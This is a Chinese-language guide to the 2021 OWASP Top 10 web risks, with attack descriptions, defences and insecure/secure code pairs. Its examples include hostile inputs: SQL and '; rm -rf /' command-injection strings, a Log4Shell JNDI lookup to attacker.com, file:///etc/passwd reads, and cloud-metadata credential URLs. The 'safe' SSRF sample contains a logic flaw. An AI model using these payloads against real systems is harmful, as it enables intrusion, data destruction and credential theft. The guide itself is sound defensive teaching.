OWASP Top 10 全景解读(2021 版)
概述
OWASP(Open Web Application Security Project,开放 Web 应用安全项目)是全球公认的 Web 应用安全权威组织。OWASP Top 10 是该组织每三到四年发布一次的 Web 应用安全风险排名报告,旨在帮助开发团队、安全从业者和管理层了解 Web 应用面临的最严重安全风险。
2021 年版是 OWASP Top 10 自 2003 年发布以来变动最大的一次——不仅引入了三个全新类别,还对整体数据结构进行了根本性调整。本文将对这十大风险逐一进行深入剖析。
2017 版到 2021 版的变化概览
2021 版相比 2017 版发生了以下重大变化:
| 2017 版 | 2021 版 | 变化说明 |
|---|---|---|
| A01:2017 — 注入 | A01:2021 — 访问控制失效 | 提升 4 位,数据集中 94% 的应用存在相关问题 |
| A02:2017 — 失效的身份认证 | A02:2021 — 加密失效 | 原名"敏感信息泄露",范围扩展至所有加密相关问题 |
| A03:2017 — 敏感信息泄露 | A03:2021 — 注入 | 下降 2 位,但仍是严重威胁 |
| A04:2017 — XML 外部实体(XXE) | A04:2021 — 不安全设计 | 全新类别,关注设计层面的安全缺陷 |
| A05:2017 — 访问控制失效 | A05:2021 — 安全配置错误 | 上升 1 位 |
| A06:2017 — 安全配置错误 | A06:2021 — 脆弱和过时的组件 | 上升 3 位 |
| A07:2017 — 跨站脚本(XSS) | A07:2021 — 身份识别和认证失效 | 原 A02 扩展重组 |
| A08:2017 — 不安全的反序列化 | A08:2021 — 软件和数据完整性失效 | 全新类别,包含 CI/CD 管道安全 |
| A09:2017 — 使用含有已知漏洞的组件 | A09:2021 — 安全日志和监控失效 | 从外部调查数据纳入,上升显著 |
| A10:2017 — 日志和监控不足 | A10:2021 — 服务端请求伪造(SSRF) | 全新类别,反映云原生架构的兴起 |
关键趋势:2021 版不再仅按漏洞发生率排名,而是引入了由专家团队评估的可利用性、检测性和技术影响三个维度加权评分,使结果更贴近实际风险。
A01:2021 — 访问控制失效(Broken Access Control)
风险描述
访问控制失效是 2021 版中排名最高的风险类别——在收集的原始数据中,94% 的应用存在某种形式的访问控制问题,且此类漏洞的平均发生率为 3.81%。访问控制决定了用户"能做什么、能访问什么",当机制失效时,攻击者可以越权访问其他用户的敏感数据、修改他人资料、甚至获取管理员权限。
其根本原因在于:应用过于依赖前端或客户端做访问控制校验,而后端缺乏独立、一致的权限检查;或者权限检查代码分散在业务逻辑中,维护不当导致遗漏。
攻击方式
常见的访问控制攻击方式包括:
- 垂直越权(Privilege Escalation):普通用户通过修改请求参数或 API 端点,访问管理员功能。例如将
GET /api/user/info改为GET /api/admin/deleteUser。 - 水平越权(Insecure Direct Object Reference, IDOR):用户 A 通过修改资源 ID 访问用户 B 的数据。例如将
GET /api/order?id=1001改为GET /api/order?id=1002。 - 路径遍历(Path Traversal):通过
../序列绕过访问限制,读取服务器上未授权的文件。 - 缺少对 HTTP 方法的限制:本应只接受 GET 的接口,通过 PUT/DELETE 等方法绕过限制。
- Cookie/Token 篡改:修改 JWT 中的角色或权限字段(若未验证签名)。
防御措施
- 实施默认拒绝原则(Deny by Default),所有访问都需经过显式授权检查。
- 在服务端代码层面建立统一的权限校验层,不依赖前端隐藏按钮或路由。
- 使用基于角色的访问控制(RBAC)或基于属性的访问控制(ABAC)模型。
- 对每个 API 请求验证用户身份、资源所有权和操作权限三元组。
- 避免在 URL 中直接暴露数据库主键 ID,使用不可预测的 UUID 或哈希值。
- 对 API 端点实施严格的 HTTP 方法校验。
- 使用 JWT 时务必验证签名,并在 Token 中只放最小化权限信息。
实际案例
// ❌ 不安全的实现 — 仅通过用户输入参数查询订单,未校验所有权
app.get('/api/order', (req, res) => {
const orderId = req.query.id;
const order = db.query(`SELECT * FROM orders WHERE id = ${orderId}`);
res.json(order);
});
// ✅ 安全的实现 — 验证当前登录用户是否是该订单的拥有者
app.get('/api/order', authenticate, (req, res) => {
const orderId = req.query.id;
const userId = req.session.userId;
const order = db.query(
'SELECT * FROM orders WHERE id = ? AND user_id = ?',
[orderId, userId]
);
if (!order) return res.status(403).json({ error: 'Forbidden' });
res.json(order);
});A02:2021 — 加密失效(Cryptographic Failures)
风险描述
该类别从 2017 版的"A03:2017 — 敏感信息泄露"升级而来,范围大幅扩展。它不仅涵盖敏感数据在传输和存储过程中的泄露,还包括未能正确使用加密算法、使用了已不再安全的密码学原语、证书验证不当等全部密码学相关的失败场景。在云原生和微服务架构普及的今天,数据面大幅扩展,加密失效的风险也随之增加。
攻击方式
- 明文传输敏感数据:未使用 HTTPS,或在 HTTPS 页面中混用 HTTP 加载资源(混合内容)。
- 弱加密算法:使用 MD5、SHA-1 进行密码哈希,使用 DES、RC4 进行数据加密。
- 硬编码密钥和证书:在源码或配置文件中存储数据库密码、API Key、私钥。
- 不安全的随机数生成:使用
Math.random()等非密码学安全的随机数生成器生成密钥或 Token。 - 中间人攻击(MITM):攻击者通过伪造证书或在同一网络中嗅探未加密的通信。
- 错误配置的 TLS:支持过时的 TLS 1.0/1.1,或启用了不安全的密码套件。
防御措施
- 所有传输中的数据必须使用 TLS 1.2+ 加密,配置 HSTS 头部。
- 存储敏感数据(密码、信用卡号、身份证号)时使用强加密算法:密码使用 bcrypt/argon2/scrypt 哈希,数据使用 AES-256-GCM。
- 密钥管理使用专门的密钥管理服务(KMS),避免硬编码。
- 使用密码学安全的伪随机数生成器(CSPRNG),如 Node.js 的
crypto.randomBytes()。 - 禁用过时的 TLS 协议和弱密码套件。
- 对静态敏感数据进行加密存储,访问时解密。
- 尽量减少敏感数据的收集和存储时间——不存储不需要的数据。
实际案例
# ❌ 不安全的密码存储 — 使用 MD5 哈希
import hashlib
password = "user_password123"
hash = hashlib.md5(password.encode()).hexdigest() # MD5 可被秒破
# ✅ 安全的密码存储 — 使用 bcrypt
import bcrypt
password = b"user_password123"
salt = bcrypt.gensalt(rounds=12)
hash = bcrypt.hashpw(password, salt)# ❌ 不安全的 TLS 配置
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers HIGH:!aNULL:!MD5;
# ✅ 安全的 TLS 配置
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
ssl_prefer_server_ciphers on;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;A03:2021 — 注入(Injection)
风险描述
注入攻击是安全领域最具代表性的漏洞类别之一。虽然在 2021 版中从第一降至第三,但它仍然是 Web 应用中最致命的风险之一——SQL 注入多次在"危害/影响"维度排名第一。注入漏洞的核心问题是:用户提供的不可信数据被拼接进解释器(SQL 引擎、操作系统 Shell、LDAP 目录等)的命令或查询语句中,导致解释器执行了攻击者控制的恶意命令。
攻击方式
- SQL 注入:在输入框中填入
' OR 1=1 --,绕过认证或泄露整表数据。 - 命令注入:在参数中拼接
; rm -rf /等操作系统命令。 - LDAP 注入:修改 LDAP 查询过滤条件,绕过认证或越权查询。
- NoSQL 注入:针对 MongoDB 等数据库,传入
{ "$ne": "" }等操作符绕过验证。 - 模板注入(SSTI):向服务器端模板引擎(Jinja2、Velocity、FreeMarker)注入表达式,执行任意代码。
- XXE(XML 外部实体注入):利用 XML 解析器处理外部实体,读取服务器文件或发起 SSRF。
防御措施
- 使用参数化查询(Prepared Statements):这是防御 SQL 注入最根本的手段,将查询与数据严格分离。
- 输入验证和输出编码:对所有用户输入进行白名单验证,拒绝不符合预期的输入。
- 最小权限原则:数据库连接使用尽量小的权限,避免使用 DBA 账号。
- 对命令执行函数进行严格限制:避免使用
exec()、eval()、os.system()等动态执行函数。 - ORM 框架不等于自动安全:ORM 框架的裸查询(Raw Query)或查询条件拼接同样存在注入风险。
- 禁用不安全的 XML 解析功能:禁用外部实体解析(DTD 和外部实体)。
实际案例
// ❌ 不安全的实现 — 字符串拼接 SQL
String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);
// ✅ 安全的实现 — 使用 PreparedStatement
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();# ❌ 不安全的命令执行
import os
user_input = request.args.get('filename')
os.system(f'cat {user_input}') # 输入: test.txt; rm -rf /
# ✅ 安全的实现 — 使用白名单限制
import subprocess
user_input = request.args.get('filename')
ALLOWED_FILES = ['report1.pdf', 'report2.pdf']
if user_input in ALLOWED_FILES:
subprocess.run(['cat', user_input], check=True)A04:2021 — 不安全设计(Insecure Design)
风险描述
这是一个 2021 版全新引入的类别,其核心观点是:安全缺陷不应该等到代码写完后才被发现,而应该在设计阶段就进行安全考量。"不安全设计"指的是应用架构或设计层面存在的、无法通过修补单行代码来修复的根因性问题。与"安全配置错误"不同,不安全设计是设计选择本身的问题。
此类别是对"安全左移"理念的官方背书——安全不能仅靠后期测试和修复,必须从需求分析和系统设计阶段开始介入。
攻击方式
- 缺少威胁建模:开发前未进行威胁建模,导致关键攻击面(如密码重置流程、支付逻辑)缺少保护。
- 业务逻辑漏洞:攻击者通过正常的 API 调用序列实现非预期目的(如批量注册、重复优惠、无限积分刷取)。
- 缺少速率限制:登录接口、验证码接口、API 端点没有限流,可被暴力破解或 DoS 攻击。
- 错误的安全假设:假设"内网是安全的"、"客户端不可信"等前提被违反。
- 过度信任外部组件:将安全决策(如权限校验)委托给网关、代理或第三方 SDK,自身未做校验。
防御措施
- 实施威胁建模:在系统设计阶段使用 STRIDE 或 PASTA 方法论识别威胁,并记录在安全需求文档中。
- 安全需求文档化:每个用户故事或功能点应包含对应的安全验收标准。
- 建立安全设计模式库:将常见安全模式(如登录限流、密码重置 Token 化)形成可复用的模板。
- 进行设计评审:安全工程师参与架构设计的评审,关注数据流、信任边界和权限模型。
- 限制客户端控制:不在客户端做关键业务逻辑判断,所有安全决策在服务端执行。
- 压力测试和 Abuse Case 测试:对核心业务接口进行异常使用场景的测试。
实际案例
场景描述:某电商平台的优惠券系统
❌ 不安全的设计:
- 优惠券领取接口无用户限频限制
- 优惠券金额直接从请求体读取(未服务端校验)
- 同一用户可以多次领取同一优惠券(缺少幂等性设计)
- 优惠券数量校验在 Redis 缓存层,但缓存与数据库存在竞态窗口
攻击者通过脚本并发请求,在竞态窗口内领取数万张优惠券,造成数十万元损失。
✅ 安全的设计:
1. 每个用户每张优惠券限领一次,由数据库唯一索引保证幂等
2. 接口加频率限制(每用户每分钟最多 5 次请求)
3. 优惠券面额从服务端配置读取,不信任用户提交的金额
4. 使用分布式锁或数据库行级锁防止超发
5. 领取操作使用事务 + 乐观锁A05:2021 — 安全配置错误(Security Misconfiguration)
风险描述
安全配置错误是实践中最为常见的安全问题之一。它通常不是代码逻辑缺陷,而是运维、部署或配置层面的疏忽。90% 以上的应用在安全配置方面存在问题,包括默认账号未修改、不必要的端口暴露、开启调试模式、目录列表泄露、缺少安全 HTTP 头等。
在 2021 版中,该类别上升了一位,反映出随着容器化和云原生架构的普及,配置项急剧增多,配置错误的攻击面也在同步扩大。
攻击方式
- 默认凭证未修改:应用保留了 admin/admin 等默认用户名密码。
- 调试模式开启:在生产环境开启了 Debug 模式,泄露堆栈跟踪、SQL 查询和配置信息。
- 目录列表泄露:Web 服务器未禁用目录列表,攻击者可浏览并下载源代码。
- 不安全的 HTTP 头部:缺少
Content-Security-Policy、X-Frame-Options、X-Content-Type-Options等安全头部。 - 多余的端口和服务:服务器开启了不必要的端口(如 21/FTP、3306/MySQL、6379/Redis)且暴露在公网。
- 云存储桶权限配置错误:AWS S3、阿里云 OSS 等存储桶被配置为公开读写,导致数据泄露。
- 容器漏洞配置:Docker 容器以 root 权限运行,或挂载了宿主机敏感目录。
防御措施
- 实施自动化配置审计:使用工具(如 OpenSCAP、Chef InSpec 或云平台的配置检查工具)定期检查配置状态。
- 禁用默认账号并修改默认端口:删除或禁用框架/中间件的默认管理员账号,修改标准端口。
- 最小化攻击面:关闭所有不必要的端口、服务和功能。仅安装所需模块。
- 安全 HTTP 头部:统一配置安全头部中间件。
- 环境分离:开发/测试/生产环境的配置严格分离,生产环境关闭 Debug 和详细的错误页面。
- 容器安全基线:不以 root 运行容器、使用只读文件系统、定期扫描镜像漏洞。
- 配置即代码(Infrastructure as Code):将所有配置版本化管理,避免人工手动配置导致的遗漏。
实际案例
# ❌ 不安全的 Docker Compose 配置
services:
redis:
image: redis:latest
ports:
- "6379:6379" # 未设置密码且暴露到公网
privileged: true # 特权模式运行
mysql:
image: mysql:5.7
environment:
MYSQL_ROOT_PASSWORD: "123456" # 弱密码
ports:
- "3306:3306"
# ✅ 安全配置
services:
redis:
image: redis:alpine
command: redis-server --requirepass ${REDIS_PASSWORD}
ports:
- "127.0.0.1:6379:6379" # 仅绑定本地
cap_drop:
- ALL # 降权
read_only: true
mysql:
image: mysql:8.0
environment:
MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD}
ports:
- "127.0.0.1:3306:3306"# 必要的基础安全响应头配置
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "0" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;A06:2021 — 脆弱和过时的组件(Vulnerable and Outdated Components)
风险描述
该类别是 2017 版 A09 的延续与增强。现代 Web 应用大量依赖开源组件和第三方依赖库(npm 包、Maven 依赖、pip 包、Composer 包等),而这些依赖中往往包含已知漏洞。攻击者利用公开的 CVE(Common Vulnerabilities and Exposures)信息,使用已知的漏洞利用工具(PoC/Exploit)轻易攻破未及时更新依赖的应用。
OWASP 的数据显示,该类别的发生率超过 28%,且严重漏洞的 CVSS 评分往往在 9.0 以上。Log4Shell(CVE-2021-44228)和 Spring4Shell(CVE-2022-22965)是近年来最典型的案例。
攻击方式
- 利用已知 CVE 漏洞:针对仍在使用的旧版本组件查找 CVE 信息,直接使用公开的 Exploit 工具进行攻击。
- 依赖性攻击(Dependency Confusion):在公共仓库中上传与内部私有包同名的恶意包,使构建工具下载并执行恶意代码。
- 过时框架:使用已停止维护的框架(如 AngularJS、jQuery 1.x、Struts 2 等),其漏洞永远不会被修复。
- 未扫描基础镜像:Docker 基础镜像使用数月甚至数年未更新的旧版本,打包了大量已知漏洞。
- 传递依赖(Transitive Dependency):直接依赖本身是安全的,但其间接引入的子依赖存在严重漏洞。
防御措施
- 建立软件物料清单(SBOM):记录所有直接和传递依赖的完整清单,便于漏洞扫描和追踪。
- 使用自动化依赖扫描工具:在 CI/CD 流程中集成 SCA(Software Composition Analysis)工具,如 Dependabot、Snyk、OWASP Dependency-Check。
- 及时更新:订阅安全公告,对严重和高危漏洞设定 SLA(如 48 小时内修复),定期执行依赖更新。
- 锁定依赖版本:使用 lock 文件(package-lock.json、yarn.lock、poetry.lock)确保构建的可复现性。
- 移除不使用的依赖:定期审查并移除未使用的冗余依赖。
- 使用最小基础镜像:Docker 镜像使用 alpine 或 distroless 等精简基础镜像。
- 监控 CVE 公告:关注 NVD、GitHub Advisory、各语言生态的安全公告。
实际案例
// ❌ 过时的依赖示例 (package.json)
{
"dependencies": {
"lodash": "^4.17.15", // 4.17.15 存在原型链污染漏洞
"express": "^4.16.0", // 4.16.x 多个已知 DoS 和 RCE 漏洞
"jquery": "^3.4.0" // 旧版本存在 XSS 漏洞
},
"devDependencies": {
"webpack-dev-server": "^3.1.0" // 过时的 devServer,存在路径泄露
}
}
// ✅ 已审计的依赖示例
{
"dependencies": {
"lodash": "^4.17.21", // 更新到修复后的版本
"express": "^4.19.2", // 修复了原型链污染和路径遍历
"jquery": "^3.7.1" // 最新版
},
"devDependencies": {
"webpack-dev-server": "^4.15.0"
}
}Log4Shell 案例:2021 年 12 月曝出的 Apache Log4j2 远程代码执行漏洞(CVE-2021-44228),影响 log4j-core 2.0-beta9 到 2.14.1 版本。攻击者只需在任意日志输入中注入 \${jndi:ldap://attacker.com/a} 即可触发 JNDI 注入,实现远程代码执行。全球数万应用受到影响,修复周期持续数月。
A07:2021 — 身份识别和认证失效(Identification and Authentication Failures)
风险描述
该类别涵盖与用户身份验证和会话管理相关的所有安全问题。它是 2017 版 A02 的扩展和重组(合并了原 XSS 中的会话劫持相关内容)。当身份认证机制失效时,攻击者可以冒充合法用户,获取其所有的数据和权限。
即使在多因素认证(MFA)日渐普及的今天,密码暴力破解、会话劫持、Token 泄露等仍然是 Web 应用最常见的入口攻击方式。
攻击方式
- 暴力破解:对登录接口进行用户名/密码的批量尝试,且系统没有速率限制。
- 凭证填充(Credential Stuffing):使用从其他泄露事件中获得的用户名密码组合,尝试登录目标应用。
- 弱密码策略:允许用户设置
123456、password等弱密码。 - 会话固定(Session Fixation):攻击者诱使用户使用攻击者提供的会话 ID 登录,之后攻击者使用该会话 ID 直接访问用户账户。
- 会话劫持:通过 XSS 窃取 Cookie 中的会话 Token,或在 HTTPS 传输中截获未加密的会话 ID。
- 密码重置漏洞:密码重置链接未绑定用户会话,可被推测或篡改;安全问题和答案可被暴力枚举。
- JWT 攻击:使用
none算法绕过 JWT 签名验证;或使用过期但未撤销的 JWT Token。
防御措施
- 强制多因素认证(MFA):对敏感操作(登录、支付、修改密码)启用 MFA,如 TOTP、短信验证码或生物识别。
- 实施速率限制:对登录、注册、密码重置等接口实施严格的速率限制和账户锁定机制。
- 使用健壮的密码策略:要求最小长度(12+),允许长密码和特殊字符,不应强制频繁更换密码(NIST SP 800-63 最新建议)。
- 安全的会话管理:会话 ID 必须是密码学安全的随机值;设置 HttpOnly、Secure、SameSite 标志;会话超时机制。
- 密码重置安全:使用临时的一次性 Token(绑定到用户),设置短有效期;在密码重置后使所有现有会话失效。
- JWT 安全:始终验证签名;拒绝
alg: none;jti支持 Token 撤销;设置合理的exp时间。 - 通知用户:登录通知、密码修改通知等帮助用户发现异常活动。
实际案例
// ❌ 不安全的登录实现 — 无速率限制,无 MFA
app.post('/api/login', (req, res) => {
const { username, password } = req.body;
const user = db.query(`SELECT * FROM users WHERE username = ?`, [username]);
if (user && bcrypt.compareSync(password, user.hash)) {
req.session.userId = user.id;
res.json({ success: true });
} else {
res.status(401).json({ error: 'Invalid credentials' });
}
});
// ✅ 安全的登录实现
const rateLimit = require('express-rate-limit');
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 分钟窗口
max: 5, // 最多 5 次尝试
message: 'Too many attempts, please try again later.',
skipSuccessfulRequests: true,
});
app.post('/api/login', loginLimiter, (req, res) => {
const { username, password } = req.body;
const user = db.query(`SELECT * FROM users WHERE username = ?`, [username]);
if (!user) {
// 使用相同的返回时间防止用户枚举
return res.status(401).json({ error: 'Invalid credentials' });
}
if (user.locked_until && user.locked_until > Date.now()) {
return res.status(423).json({ error: 'Account locked' });
}
if (bcrypt.compareSync(password, user.hash)) {
// 重置失败计数
db.query(`UPDATE users SET failed_attempts = 0 WHERE id = ?`, [user.id]);
// 生成新的会话 ID(防止会话固定)
req.session.regenerate(() => {
req.session.userId = user.id;
req.session.mfaVerified = user.mfa_enabled ? false : true;
res.json({
success: true,
requires_mfa: user.mfa_enabled
});
});
} else {
// 递增失败计数,达到阈值锁定账户
db.query(`UPDATE users SET failed_attempts = failed_attempts + 1 WHERE id = ?`, [user.id]);
res.status(401).json({ error: 'Invalid credentials' });
}
});A08:2021 — 软件和数据完整性失效(Software and Data Integrity Failures)
风险描述
这是 2021 版全新引入的类别,反映了软件供应链安全日益增长的关注度。该类别涵盖在软件构建、更新和部署过程中未验证完整性的情况——包括不安全的 CI/CD 管道、未经签名的软件更新、第三方 CDN 引入的恶意库、Docker 镜像篡改、以及 Java 反序列化漏洞等。
该类别的引入与 2020 年 SolarWinds 供应链攻击事件密切相关——攻击者通过入侵 SolarWinds 的构建系统,将恶意代码嵌入合法的 Orion 软件更新中,影响了全球 18,000 多个组织。
攻击方式
- 不安全的软件更新:应用从 HTTP 源下载更新包,或未验证更新包的签名,攻击者可分发恶意更新。
- CI/CD 管道攻击:攻击者通过泄露的 CI Token 注入恶意代码到构建流程,影响所有下游产出的制品。
- 第三方 CDN 引入恶意脚本:引用 CDN 上的 JavaScript 库,若 CDN 被攻陷或域名到期被抢注,脚本可能被替换为恶意代码。
- 不安全的反序列化:将不受信任的用户输入传入反序列化函数(如
pickle.loads()、JSON.parse()、ObjectInputStream.readObject()),导致远程代码执行。 - 依赖混淆(Dependency Confusion):攻击者在公共仓库上传与私有包同名的包,CI 自动下载公共版本而非内部版本。
- 篡改 Docker 镜像:使用来自不可信源的 Docker 镜像,其中可能嵌入了后门或挖矿程序。
防御措施
- 对所有软件制品进行签名:使用 Sigstore/cosign 对容器镜像签名,使用 GPG 对发布包签名。
- 验证所有外部依赖的完整性:使用 Subresource Integrity(SRI)校验 CDN 资源,使用 lock 文件锁定依赖。
- 保护 CI/CD 管道:使用短生命周期的凭证、启用分支保护规则、对构建产物进行签名。
- 安全的序列化和反序列化:避免反序列化不可信数据;如果必须使用,则实施签名校验或使用替代格式(如 JSON)。
- 内部包管理:配置私有仓库镜像,确保企业内部优先使用受控的私有包源。
- 供应链安全框架:遵循 SLSA(Supply-chain Levels for Software Artifacts)安全等级框架。
- 使用镜像签名验证:在 Kubernetes 中配置镜像签名验证策略,拒绝运行未签名镜像。
实际案例
<!-- ❌ 不安全的 CDN 引入 — 无完整性校验 -->
<script src="https://cdn.example.com/jquery.min.js"></script>
<script src="https://cdn.example.com/bootstrap.min.js"></script>
<!-- ✅ 安全的 CDN 引入 — 使用 SRI -->
<script
src="https://cdn.example.com/jquery.min.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>// ❌ 不安全的反序列化 — 直接反序列化用户输入
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject(); // 攻击者可构造恶意序列化数据触发 RCE
// ✅ 安全的实现 — 验证签名后反序列化
String data = request.getHeader("X-Signed-Data");
String signature = request.getHeader("X-Signature");
if (verifyHMAC(data, signature, secretKey)) {
Object obj = deserialize(data);
} else {
throw new SecurityException("Invalid data signature");
}A09:2021 — 安全日志和监控失效(Security Logging and Monitoring Failures)
风险描述
该类别由 2017 版的 A10 升级而来。安全日志和监控失效不会直接导致系统被攻破,但它是"发现正在发生的攻击"和"事后溯源调查"的关键障碍。如果没有充分的日志记录和实时监控能力,攻击者可以在系统中潜伏数月而不被发现——2021 年 Verizon 数据泄露调查报告显示,攻破一个系统到被发现的平均时间为 287 天。
OWASP 通过外部调查数据分析指出,该漏洞类别在攻击检测失败案例中占比超过 50%。"看不见攻击"本身就是最大的安全风险。
攻击方式
- 缺少关键事件日志:未记录登录尝试(成功/失败)、权限变更、敏感数据访问等关键安全事件。
- 日志泄露敏感信息:日志中记录了信用卡号、密码、会话 Token 等敏感数据。
- 日志存储不足:日志保留周期过短(几天),攻击发生后日志已被覆盖。
- 缺少实时告警:系统被入侵后,运维团队数天甚至数周后才通过第三方报告得知。
- 日志集中存储缺乏保护:所有日志集中存储在同一台服务器上,攻击者入侵后直接清除日志痕迹。
- 不完整或不可信的日志:日志不包含时间戳、源 IP、用户 ID 等关键上下文,或日志本身可以被攻击者任意修改。
防御措施
- 全面记录关键安全事件:至少记录所有认证事件(登录、登出、失败尝试)、权限变更、数据创建/修改/删除、异常错误。
- 日志保护:使用只追加(Append-Only)存储,写日志时不允许修改和删除;日志服务器与应用服务器分离。
- 设置合理的日志保留期:根据合规要求(如 PCI DSS 要求保留 12 个月),配置日志的冷热分层存储。
- 集中式日志管理:使用 ELK Stack、Splunk 或 Loki 等集中式日志平台,建立实时仪表盘和告警规则。
- 日志内容安全:在写入日志前脱敏敏感数据(如使用
***替代密码、Token、信用卡号)。 - 建立安全事件响应计划(IRP):明确告警升级路径、响应步骤和联系人。
- 定期演练:通过红蓝对抗测试和攻防演练验证日志监控的有效性。
实际案例
// ❌ 不全面的日志记录
app.post('/api/login', (req, res) => {
const { username, password } = req.body;
const user = authenticate(username, password);
if (!user) {
console.log('Login failed'); // 没有记录用户名、IP、时间
return res.status(401).send('Unauthorized');
}
req.session.userId = user.id;
res.json({ success: true }); // 没有记录成功登录事件
});
// ✅ 全面的安全日志记录
const { createLogger, format, transports } = require('winston');
const securityLogger = createLogger({
level: 'info',
format: format.combine(
format.timestamp(),
format.json()
),
transports: [
new transports.File({
filename: 'logs/security-audit.log',
// 使用只追加模式,防止日志被篡改
flags: 'a',
}),
],
});
app.post('/api/login', rateLimit({ /* ... */ }), (req, res) => {
const { username, password } = req.body;
const clientIp = req.ip;
const userAgent = req.headers['user-agent'];
const user = authenticate(username, password);
if (!user) {
securityLogger.warn('AUTH_FAILURE', {
username,
ip: clientIp,
userAgent,
timestamp: new Date().toISOString(),
reason: 'Invalid credentials',
endpoint: '/api/login',
});
return res.status(401).send('Unauthorized');
}
// 检查是否账户锁定
if (user.locked) {
securityLogger.warn('AUTH_BLOCKED', {
userId: user.id,
username,
ip: clientIp,
reason: 'Account locked',
});
return res.status(423).send('Account locked');
}
req.session.userId = user.id;
securityLogger.info('AUTH_SUCCESS', {
userId: user.id,
username,
ip: clientIp,
userAgent,
timestamp: new Date().toISOString(),
});
res.json({ success: true });
});A10:2021 — 服务端请求伪造(Server-Side Request Forgery, SSRF)
风险描述
SSRF 是 2021 版全新引入的类别。在 SSRF 攻击中,攻击者利用服务端的功能发起对内部网络资源的请求。当 Web 应用需要根据用户输入的 URL 获取远程资源(如抓取网页、下载图片、webhook 回调)时,如果未对 URL 进行严格的校验和限制,攻击者可以构造恶意的 URL 指向内部系统(如 http://169.254.169.254/latest/meta-data/ 获取云服务器元数据)。
SSRF 在云原生环境中尤为危险,因为:
- 云服务器元数据 API(如 AWS/Azure/阿里云的
169.254.169.254)包含云平台临时凭证。 - 微服务架构中,内部服务通常有更宽松的安全策略。
- 容器和 Kubernetes 环境中存在内部 DNS 解析和 Service 通信通道。
攻击方式
- 云元数据攻击:请求
http://169.254.169.254/latest/meta-data/iam/security-credentials/获取云平台临时凭证。 - 内网扫描和探测:通过 SSRF 扫描内网 IP 段(如
192.168.1.1),发现内网存活主机和服务端口。 - 访问内部服务:访问内部管理面板(如
http://localhost:8080/actuator)、Redis/Memcached 等无认证组件。 - 文件协议读取:使用
file:///etc/passwd、file:///proc/self/environ等协议读取服务器敏感文件。 - Blind SSRF:虽然无法直接获取响应内容,但通过请求的时序或带外(Out-of-Band)检测判断内部网络状态。
- DNS Rebind 攻击:利用 DNS 解析时间差绕过 IP 地址白名单校验。
防御措施
- 白名单 URL 校验:仅允许访问预定义的受信任域名/IP 列表,拒绝所有不在白名单中的 URL。
- 黑名单不够安全:SSRF 有非常多的绕过方式(如
127.0.0.1→localhost→0.0.0.0→[::1]→ DNS 别名 → URL 编码 → 302 重定向绕过),因此黑名单策略不可靠。 - 禁用不必要的协议:只允许 HTTP/HTTPS 协议,禁止
file://、gopher://、dict://、ftp://等协议。 - 出站流量防火墙:在网络层限制应用服务器只能访问必要的对外服务(白名单制),阻断对内部网络和云元数据 API 的访问。
- 内网 DNS 解析隔离:确保内部域名和外网域名使用不同的 DNS 解析器。
- 使用无凭证的计算环境:为应用服务器分配无 IAM 权限的角色,或将实例元数据 API 的访问限制在特定模式下(如 IMDSv2)。
- URL 解析规范化:对用户输入的 URL 进行规范化处理(包括 URL 编码解码、DNS 解析验证),防止绕过。
实际案例
import requests
# ❌ 不安全的 SSRF 实现 — 直接使用用户输入的 URL
def fetch_image(user_url):
response = requests.get(user_url) # 攻击者可传入 file:///etc/passwd 或内网地址
return response.content
# ✅ 安全的实现 — 白名单校验
from urllib.parse import urlparse
ALLOWED_DOMAINS = ['img.example.com', 'cdn.example.com']
ALLOWED_SCHEMES = ['https']
def fetch_image_safe(user_url):
parsed = urlparse(user_url)
# 1. 校验协议
if parsed.scheme not in ALLOWED_SCHEMES:
raise ValueError('Invalid URL scheme')
# 2. 校验域名(使用白名单)
if parsed.hostname not in ALLOWED_DOMAINS:
# 额外检查:域名是否解析到内网 IP
resolved_ip = socket.gethostbyname(parsed.hostname)
if is_private_ip(resolved_ip):
raise ValueError('URL resolves to private IP')
raise ValueError('Domain not allowed')
# 3. 限制端口
port = parsed.port or (443 if parsed.scheme == 'https' else 80)
if port not in [80, 443, 8080]:
raise ValueError('Port not allowed')
# 4. 设置超时和限制响应大小
response = requests.get(user_url, timeout=5, stream=True)
if int(response.headers.get('Content-Length', 0)) > 10 * 1024 * 1024:
raise ValueError('Response too large')
return response.content
def is_private_ip(ip):
"""判断是否为内网 IP"""
import ipaddress
try:
addr = ipaddress.ip_address(ip)
return addr.is_private
except ValueError:
return True # 无法解析的 IP 认为是内网总结与建议
OWASP Top 10 2021 版传递了几个核心信息:
- 安全左移:A04(不安全设计)的引入标志着行业共识——安全不能仅靠上线前的修补,必须从设计阶段开始。
- 供应链安全:A08(软件和数据完整性失效)的加入呼应了 SolarWinds、Log4j 等供应链攻击事件,供应链安全已经成为不可回避的议题。
- 云原生安全:A10(SSRF)作为全新类别入选,反映了云原生和微服务架构带来的新攻击面。
- 基础安全仍需重视:尽管技术不断发展,访问控制失效(A01)、注入(A03)、安全配置错误(A05)等传统类别依然占据榜单高位,说明基础安全工作仍需持续投入。
落地建议
| 阶段 | 行动项 |
|---|---|
| 设计阶段 | 威胁建模、安全架构评审、安全需求文档化 |
| 开发阶段 | 使用安全的编码规范、SCA 依赖扫描、IDE 安全插件 |
| 测试阶段 | DAST 扫描、渗透测试、安全回归测试 |
| 部署阶段 | 容器镜像扫描、配置审计、IaC 安全检查 |
| 运维阶段 | 实时监控告警、定期漏洞扫描、事件响应演练 |
